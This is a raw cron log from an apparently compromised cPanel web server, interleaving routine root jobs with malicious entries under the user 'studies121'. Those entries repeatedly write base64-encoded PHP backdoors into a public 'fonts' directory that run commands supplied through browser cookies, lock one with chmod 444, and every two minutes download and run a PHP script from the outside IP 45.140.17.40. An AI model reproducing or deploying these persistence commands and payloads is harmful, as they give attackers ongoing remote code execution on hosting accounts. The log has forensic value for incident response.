Feb 22 08:14:01 ip-184-168-122-23 CROND[16587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:14:01 ip-184-168-122-23 CROND[16588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:14:01 ip-184-168-122-23 CROND[16589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:15:01 ip-184-168-122-23 CROND[16920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:15:01 ip-184-168-122-23 CROND[16921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:15:01 ip-184-168-122-23 CROND[16924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:15:01 ip-184-168-122-23 CROND[16923]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Feb 22 08:15:01 ip-184-168-122-23 CROND[16927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:15:01 ip-184-168-122-23 CROND[16926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:15:01 ip-184-168-122-23 CROND[16928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:16:01 ip-184-168-122-23 CROND[17352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:16:01 ip-184-168-122-23 CROND[17354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:16:01 ip-184-168-122-23 CROND[17355]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:16:01 ip-184-168-122-23 CROND[17357]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 08:16:01 ip-184-168-122-23 CROND[17358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:16:01 ip-184-168-122-23 CROND[17356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:17:01 ip-184-168-122-23 CROND[17685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:17:01 ip-184-168-122-23 CROND[17686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:17:01 ip-184-168-122-23 CROND[17687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:17:01 ip-184-168-122-23 CROND[17684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:18:01 ip-184-168-122-23 CROND[17999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:18:01 ip-184-168-122-23 CROND[18002]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:18:01 ip-184-168-122-23 CROND[18003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:18:01 ip-184-168-122-23 CROND[18001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:18:01 ip-184-168-122-23 CROND[18004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:19:01 ip-184-168-122-23 CROND[18333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:19:01 ip-184-168-122-23 CROND[18332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:19:01 ip-184-168-122-23 CROND[18334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:19:01 ip-184-168-122-23 CROND[18335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:20:01 ip-184-168-122-23 CROND[18654]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 08:20:01 ip-184-168-122-23 CROND[18655]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 08:20:01 ip-184-168-122-23 CROND[18659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:20:01 ip-184-168-122-23 CROND[18660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:20:01 ip-184-168-122-23 CROND[18663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:20:01 ip-184-168-122-23 CROND[18664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:20:01 ip-184-168-122-23 CROND[18666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:20:01 ip-184-168-122-23 CROND[18667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:20:01 ip-184-168-122-23 CROND[18668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:21:01 ip-184-168-122-23 CROND[18997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:21:01 ip-184-168-122-23 CROND[19002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:21:01 ip-184-168-122-23 CROND[19001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:21:01 ip-184-168-122-23 CROND[19000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:22:01 ip-184-168-122-23 CROND[19418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:22:01 ip-184-168-122-23 CROND[19419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:22:01 ip-184-168-122-23 CROND[19421]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:22:01 ip-184-168-122-23 CROND[19422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:22:01 ip-184-168-122-23 CROND[19423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:23:01 ip-184-168-122-23 CROND[19719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:23:01 ip-184-168-122-23 CROND[19720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:23:01 ip-184-168-122-23 CROND[19721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:23:01 ip-184-168-122-23 CROND[19723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:24:01 ip-184-168-122-23 CROND[20054]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:24:01 ip-184-168-122-23 CROND[20056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:24:01 ip-184-168-122-23 CROND[20057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:24:01 ip-184-168-122-23 CROND[20058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:24:01 ip-184-168-122-23 CROND[20059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 08:25:01 ip-184-168-122-23 CROND[20398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 08:25:01 ip-184-168-122-23 CROND[20399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 08:25:01 ip-184-168-122-23 CROND[20401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 08:25:01 ip-184-168-122-23 CROND[20403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 08:25:01 ip-184-168-122-23 CROND[20406]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 22 08:25:01 ip-184-168-122-23 CROND[20405]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 08:25:01 ip-184-168-122-23 CROND[20410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 08:26:01 ip-184-168-122-23 CROND[20727]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Feb 22 08:26:01 ip-184-168-122-23 CROND[20728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
